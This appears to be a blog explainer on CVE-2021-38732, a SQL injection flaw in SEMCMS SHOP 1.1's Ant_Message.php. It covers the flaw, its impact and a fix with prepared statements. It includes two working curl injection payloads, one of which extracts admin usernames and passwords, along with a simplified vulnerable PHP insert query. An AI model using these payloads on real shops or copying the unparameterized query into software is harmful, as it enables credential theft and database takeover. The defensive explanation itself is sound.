SEMCMS SHOP is a popular open-source e-commerce platform. In its version 1.1, there's a major security issue that puts users and shop owners at risk: SQL Injection via the Ant_Message.php script. This article explains what happened, shows the exploit, and teaches you what it means — all in plain English.
What is CVE-2021-38732?
CVE-2021-38732 is an official vulnerability identifier for a SQL Injection problem in SEMCMS SHOP version 1.1. SQL Injection is a dangerous flaw that lets attackers run database commands they shouldn't be able to. This can lead to data leaks, admin takeover, or even full server compromise.
- CVE Reference: CVE-2021-38732 on NVD
- Original Advisory: Exploit-DB 50206
Where is the Problem?
The vulnerable file is called Ant_Message.php. It’s used to manage messages, likely as part of a contact or feedback system. The trouble comes from not filtering or escaping user input before putting it into an SQL query.
Let’s take a look at a vulnerable part of the code
// In Ant_Message.php -- simplified example
$title = $_POST['title'];
$content = $_POST['content'];
$email = $_POST['email'];
$sql = "INSERT INTO sc_msg (title, content, email) VALUES ('$title', '$content', '$email')";
mysqli_query($conn, $sql);
The above code directly uses what a user enters in the POST request as part of the SQL command, with no cleaning or preparation. This is where the danger comes from.
How Can Attackers Exploit This?
Because SEMCMS SHOP v1.1 doesn't filter user input, an attacker can craft a POST request that includes malicious SQL code. For example, the attacker can submit a message with unexpected SQL in one of the POST parameters, and the server will run it.
The following example uses curl on the command line to exploit this flaw
curl -d "title=Hello', (SELECT user()), 'test@test.com')" \
-d "content=Nice shop" \
-d "email=attacker@example.com" \
http://target-shop.com/Ant_Message.php
But a more destructive attack would try to steal data or drop tables
curl -d "title=title', (SELECT GROUP_CONCAT(username,':',password) FROM sc_admin), 'email')" \
-d "content=hack" \
-d "email=x@x.com" \
http://target-shop.com/Ant_Message.php
That SELECT statement tries to leak all admin usernames and passwords!
Impact:
Why is This So Dangerous?
SQL Injection is one of the oldest and most critical web security issues. A successful attack can lead to total takeover of the application and its data. Automated bots actively scan for these flaws, so unpatched websites are prime targets.
How to Fix CVE-2021-38732?
Never use untrusted input directly in SQL queries. Always use prepared statements (parameterized queries). Here’s how the fixed code should look:
// Secure version using prepared statements
$stmt = $conn->prepare("INSERT INTO sc_msg (title, content, email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $title, $content, $email);
$stmt->execute();
This way, whatever the user sends is treated as a value, not SQL code.
Update:
Always keep your SEMCMS SHOP and other CMS platforms up to date. Apply security patches from the official repository or vendor.
More Information
- Exploit-DB Entry #50206
- NVD Detail Page for CVE-2021-38732
- OWASP SQL Injection Explanation
Conclusion
If you’re running SEMCMS SHOP v1.1 or using similar open-source scripts, check your code for SQL injection vulnerabilities. Attackers will take advantage of flaws like CVE-2021-38732 if given the chance. By using prepared statements and regularly updating your software, you can keep your business safe.
Remember: Trust nothing from the user — ever! Always sanitize and parameterize input before using it in SQL.
*This post is exclusive and crafted for simple, practical understanding. Stay safe!*
Timeline
Published on: 10/28/2022 16:15:00 UTC
Last modified on: 10/28/2022 18:48:00 UTC